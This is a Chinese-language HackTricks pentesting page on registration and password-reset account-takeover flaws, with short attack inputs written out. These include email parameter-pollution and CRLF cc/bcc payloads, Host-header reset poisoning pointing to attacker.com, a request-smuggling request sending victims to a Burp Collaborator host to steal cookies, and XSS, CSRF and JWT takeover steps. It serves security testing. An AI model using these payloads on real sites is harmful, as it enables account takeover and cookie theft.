hacktricks/pentesting-web/registration-vulnerabilities.md

202 lines
8.7 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 注册与接管漏洞
<details>
<summary><strong>从零开始学习AWS黑客技术成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong></strong></summary>
支持HackTricks的其他方式
* 如果您想在 **HackTricks中看到您的公司广告****下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。**
</details>
## 注册接管
### 重复注册
* 尝试使用现有用户名生成
* 检查变更电子邮件:
* 大写
* \+1@
* 在电子邮件中添加一些内容
* 电子邮件名中的特殊字符(%00, %09, %20
* 在电子邮件后面放置空白字符:`test@test.com a`
* victim@gmail.com@attacker.com
* victim@attacker.com@gmail.com
### 用户名枚举
检查您是否可以确定应用程序内部是否已经注册了用户名。
### 密码策略
创建用户时检查密码策略(检查是否可以使用弱密码)。\
在这种情况下,您可以尝试暴力破解凭据。
### SQL注入
[**查看此页面**](sql-injection/#insert-statement)了解如何通过**SQL注入**尝试账户接管或通过注册表单提取信息。
### Oauth接管
{% content-ref url="oauth-to-account-takeover.md" %}
[oauth-to-account-takeover.md](oauth-to-account-takeover.md)
{% endcontent-ref %}
### SAML漏洞
{% content-ref url="saml-attacks/" %}
[saml-attacks](saml-attacks/)
{% endcontent-ref %}
### 更改电子邮件
注册后尝试更改电子邮件,并检查此更改是否正确验证或可以将其更改为任意电子邮件。
### 更多检查
* 检查是否可以使用**一次性电子邮件**
* **长密码**>200会导致**DoS**
* **检查账户创建的速率限制**
* 使用username@**burp\_collab**.net并分析**回调**
## **密码重置接管**
### 通过引用来源泄露密码重置令牌 <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
1. 请求将密码重置链接发送到您的电子邮件地址
2. 点击密码重置链接
3. 不更改密码
4. 点击任何第三方网站例如Facebooktwitter
5. 在Burp Suite代理中拦截请求
6. 检查referer头是否泄露了密码重置令牌。
### 密码重置投毒 <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
1. 在Burp Suite中拦截密码重置请求
2. 在Burp Suite中添加或编辑以下头部`Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. 使用修改后的头部转发请求\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. 寻找基于_host header_的密码重置URL例如`https://attacker.com/reset-password.php?token=TOKEN`
### 通过电子邮件参数进行密码重置 <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
```powershell
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}
# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
```
### API 参数的 IDOR <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
1. 攻击者需要使用他们的账户登录并前往 **更改密码** 功能。
2. 启动 Burp Suite 并拦截请求
3. 将其发送到重放(repeater)标签并编辑参数:用户 ID/邮箱\
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
### 弱密码重置令牌 <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
密码重置令牌应该每次都随机生成且唯一。\
尝试确定令牌是否会过期或是否总是相同的,在某些情况下,生成算法可能很弱并且可以被猜测。以下变量可能会被算法使用。
* 时间戳
* 用户ID
* 用户邮箱
* 名和姓
* 出生日期
* 密码学
* 仅数字
* 小令牌序列(字符在 \[A-Z,a-z,0-9] 之间)
* 令牌重用
* 令牌过期日期
### 泄露密码重置令牌 <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
1. 使用特定邮箱例如test@mail.com 通过 API/UI 触发密码重置请求
2. 检查服务器响应并查找 `resetToken`
3. 然后在 URL 中使用该令牌,如 `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
### 通过用户名冲突进行密码重置 <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
1. 在系统上注册一个与受害者用户名相同的用户名,但在用户名前后插入空格。例如:`"admin "`
2. 使用恶意用户名请求密码重置。
3. 使用发送到你邮箱的令牌重置受害者密码。
4. 使用新密码连接到受害者账户。
平台 CTFd 曾对此攻击漏洞。\
参见:[CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
### 通过跨站脚本攻击接管账户 <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
1. 如果 cookies 适用于父域:`*.domain.com`,在应用程序或子域中找到 XSS
2. 泄露当前的 **会话 cookie**
3. 使用 cookie 作为用户进行认证
### 通过 HTTP 请求走私接管账户 <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
1\. 使用 **smuggler** 检测 HTTP 请求走私的类型CL, TE, CL.TE\
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
2\. 制作一个请求,将 `POST / HTTP/1.1` 覆盖为以下数据:\
`GET http://something.burpcollaborator.net HTTP/1.1 X:` 目的是打开重定向受害者到 burpcollab 并窃取他们的 cookies\
3\. 最终请求可能看起来如下
```
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET http://something.burpcollaborator.net HTTP/1.1
X: X
```
Hackerone 报告利用了这个漏洞
* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)
* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666)
### 通过 CSRF 实现账户接管 <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
1. 为 CSRF 创建有效载荷,例如:“自动提交密码更改的 HTML 表单”
2. 发送有效载荷
### 通过 JWT 实现账户接管 <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
JSON Web Token 可能用于用户认证。
* 使用另一个用户 ID / 电子邮件编辑 JWT
* 检查 JWT 签名是否薄弱
{% content-ref url="hacking-jwt-json-web-tokens.md" %}
[hacking-jwt-json-web-tokens.md](hacking-jwt-json-web-tokens.md)
{% endcontent-ref %}
## 参考资料
* [https://salmonsec.com/cheatsheet/account\_takeover](https://salmonsec.com/cheatsheet/account\_takeover)
<details>
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> 从零开始学习 AWS 黑客攻击成为英雄!</strong></summary>
支持 HackTricks 的其他方式:
* 如果您希望在 **HackTricks** 中看到您的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs**](https://opensea.io/collection/the-peass-family) 收藏
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。**
</details>